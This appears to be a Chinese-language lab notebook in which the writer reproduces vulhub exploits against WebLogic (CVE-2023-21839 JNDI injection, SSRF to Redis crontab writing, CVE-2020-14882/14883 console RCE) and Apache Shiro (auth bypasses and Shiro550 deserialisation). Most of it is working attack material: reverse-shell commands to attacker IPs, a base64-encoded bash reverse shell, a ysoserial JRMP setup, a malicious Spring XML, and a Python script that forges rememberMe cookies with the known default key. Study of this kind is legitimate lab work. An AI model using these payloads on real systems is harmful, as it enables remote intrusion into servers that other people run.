E:\BaiduNetdiskDownload\ONE-FOX集成工具箱_V6公开版_by狐狸\gui_scan\jndi>java -jar JNDIExploit-2.0-SNAPSHOT.jar
Error: The following option is required: [-i | --ip]

Usage: java -jar  MYJNDIExploit1.1.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
    -o, --output   out put file


E:\BaiduNetdiskDownload\ONE-FOX集成工具箱_V6公开版_by狐狸\gui_scan\jndi>java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 192.168.1.105
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

启动监听:

//kali  : 192.168.1.102
nc -lvnp 9001

此时使用攻击机B执行exp

java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

# java -jar Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://192.168.1.102:1389/Basic/ReverseShell/192.168.1.102/9001
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

切换Java:Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

这里有个逆天的地方:

Java 1.8 不支持 --version 选项。相反,可以使用 java -version 来查看安装的 Java 版本

但是卡住了:

─# java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 127.0.0.1 -p 3322
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3322...
[+] Received LDAP Query: Basic/ReverseShell/192.168.1.102/9001
[+] Payload: reverseshell
[+] IP: 192.168.1.102
[+] Port: 9001
[+] Sending LDAP ResourceRef result for Basic/ReverseShell/192.168.1.102/9001 with basic remote reference payload
[+] Send LDAP reference result for Basic/ReverseShell/192.168.1.102/9001 redirecting to http://127.0.0.1:3322/Exploitp7e3ex3jCE.class

找了很久,发现是jndi服务器的ip不能填0.0.0.0或者127.0.0.1

└─# nc -lvvp 9001
listening on [any] 9001 ...
172.21.0.2: inverse host lookup failed: Unknown host
connect to [192.168.1.102] from (UNKNOWN) [172.21.0.2] 39840
bash: no job control in this shell
[oracle@304fd45a9ef2 base_domain]$ 

SSRF

常规:

访问http://your-ip:7001/uddiexplorer/

UDDIExplorer 是 WebLogic Server 提供的一个基于 Web 的用户界面,用于访问和管理 UDDI(Universal Description, Discovery, and Integration,通用描述、发现和集成)注册服务。UDDI 是一种用于发布和发现 Web 服务的标准协议,通常用于企业内部或跨企业环境中查找可重用的 Web 服务。

访问然后抓包:

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 143

Origin: http://127.0.0.1:7001

Connection: close

Referer: http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp

Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; ADMINCONSOLESESSION=W72vnxyTy6QH2gDChznw8KcfQvwBX2tbPMcJrfp2xWd2jGv397XL!-1328809793; JSESSIONID=y21nnx1VvJC7nWZwt1jFYXTfTnhtsM1YLLHSkg3S15G67pGKLwPv!-1328809793

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1



operator=http%3A%2F%2F172.20.10.4%3a8000&rdoSearch=name&txtSearchname=123&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

operator的参数修改为目标网址可以触发ssrf(需要编码特殊符号)

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

修改为一个不存在的端口,将会返回could not connect over HTTP to server

原shell:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

GPT:

这是一组利用 Redis 配置文件创建恶意计划任务的命令。下面逐行解释每个命令的作用:

  1. set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"

    • 使用 Redis SET 命令将一个字符串写入 Redis 数据库中。这个字符串构造了一个恶意的 Cron 计划任务。

    • 该任务设置为每分钟运行一次,命令内容是打开一个反向 shell 连接,即连接到 evil 服务器的 21 端口。这种连接通常用于未授权的远程访问。

  2. config set dir /etc/

    • 设置 Redis 的工作目录为 /etc/,即将 Redis 数据库文件的保存路径指定为系统目录 /etc/

    • 这个操作目的是将 Redis 数据库文件保存到系统的 Cron 配置目录中,以便后续在 /etc/crontab 中创建恶意的计划任务。

  3. config set dbfilename crontab

    • 将 Redis 的数据库文件名设置为 crontab,即指定 Redis 将数据保存为 /etc/crontab 文件。

    • /etc/crontab 是 Linux 系统中的计划任务文件,操作系统会定期读取该文件并执行其中的任务。

  4. save

    • 强制 Redis 将数据保存到磁盘中,此时 Redis 将会把包含恶意计划任务的内容写入 /etc/crontab 文件。

    • 一旦保存成功,操作系统会读取 /etc/crontab 文件中的新任务,定期执行恶意计划任务。

然后进行url编码:

php -r "echo urlencode('要编码的字符串');"

注意,换行符是“\r\n”,也就是“%0D%0A”。

这里我的redis容器无法启动,先跳过

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

weak_passwd

  • 弱口令进入后台

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

  • 任意文件读取漏洞获取密码

读取后台用户密文与密钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

看起来网站的根目录在/root/Oracle/Middleware/user_projects/domains/base_domain

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,

<node-manager-password-encrypted>{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=</node-manager-password-encrypted>

image-20241112104939975

(这里需要低版本的java才能运行,但是GPT一下好像没有特别中意的java虚拟环境工具,后面再看看吧)

最后解密出密码正确。

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883、CVE-2019-2725)

权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

%252e%252e%e%252f../的url双重编码

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('echo+hello+%7C+nc+-q+1+172.20.10.4+9001');")

发现没有nc,touch+%2Ftmp%2Fpwn

执行成功

看一下另一个链子(CVE-2019-2725)com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

需要构造一个XML文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

==>

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.20.10.4:8000/exp.xml")

界面虽然返回404,但是在docker中可以看到命令执行成功了

weblogic剩下几个cve比较老了,先跳过。

待续…

Shiro

Apache Shiro 认证绕过漏洞(CVE-2020-1957)

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

poc

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面,构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面。

CVE-2020-1957 Apache Shiro Servlet未授权访问浅析 - 先知社区

需要注意/xxx/可以换成其他无法被解析到的路径,如果使用login.html这样的可能会被shiro转到其他解析方式导致复现失败。

CVE-2010-3863

在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造////.//../ 等绕过权限验证

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面

shiro550(CVE-2016-4437)

shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_shiro550原理-CSDN博客

这里出现问题的点就在于AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。在后续的版本中,这个密钥也可能会被爆破出来,从而被攻击者利用构造payload。

其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

靶场搭建后直接用工具包中的shiro利用工具直接rce了,再看看博主的trail:

insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具

使用工具探测,(jdk1.8 python2.7)


如果运行该脚本时报错No module named ‘Crypto’,则运行如下命令:

pip uninstall crypto pycryptodome
pip install pycryptodome

但是搞不出来,说是2.7不提供pip支持了,不知道是我环境的问题还是啥,先这样,跳过探测。

先制作一个反弹shell的payload:Runtime.exec Payload Generater | AresX’s Blog

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC8yMTEgMD4mMQ==}|{base64,-d}|{bash,-i}

利用序列化工具ysoserial.jar生成payload:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC8yMTEgMD4mMQ==}|{base64,-d}|{bash,-i}"

对这段命令做个简要的解释:这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。

至于为什么是CommonsCollections5 ,这是因为靶场的 shiro 存在 commons-collections 3.2.1 依赖, 是一个版本问题,这里就不细究源代码了。

让存在漏洞的页面去请求我们攻击机的VPS服务

生成AES加密=>Base64编码后的rememberMe字段:python2

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(读者应当更改为攻击机ip:JRMP监听的端口号),注意shiro.py的位置应当保证和ysoserial.jar在同一目录下

python2 shiro.py {vps:port}

这里又要使用pycryptodome包,把脚本改一下用python3运行,(幸好不长,只有个别地方调整一下就行)

rememberMe=4PtwVRwjQ5O1yaDZDv9ORjOCkcGcMpNY/Uh1CRNJqhPF/wWliNnicOdQ6aIewAxwdmIiMS76Io5MjRgIsj0XcENTG0Kaibo/tnj489lfLifaFrVtDxxLxrsUwkHhj3vUECZ17AyAblEofyK8jI4Lmg9qwSiyxapcxtOoLaGMKa6244+LOMzCnB+TSKkACjoqxCELpQyvyasQxPoNPNKoiRIiYXwk2t+ZFVbLL4zPocQYlxgugAUFgCYTeMP33xgyEicKgHdFmF5fNMV3cY1ODNi0ApVJ2XTbG4muwLHLawxAUEz691T/llGaMfy8gFFwamHCZ21EaNqcO1Kq6mhQNKLELyMIYt9j0OxPJW2veHDdm4oXp5ouMuNnHvENt4dvCMz6aJEbYVCbx3g5qMAjoA==

整:

image-20241115163314746

这里需要注意是在cookie后添加这段代码,而不是修改post body里的remember me字段

看到返回的包里有deleteMe基本上就成功了

博主贴心地给了个总结:

攻击过程复盘
对于攻击者而言,核心就是干了两件事:

1.搭建VPS进行JRMPListener,存放反弹shell的payload1

2.将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。

那么对于靶机服务器,他是怎么沦陷的呢?

1.接收到请求包payload2,对他进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。

2.向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。

3.对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。

原文链接:https://blog.csdn.net/Bossfrank/article/details/130173880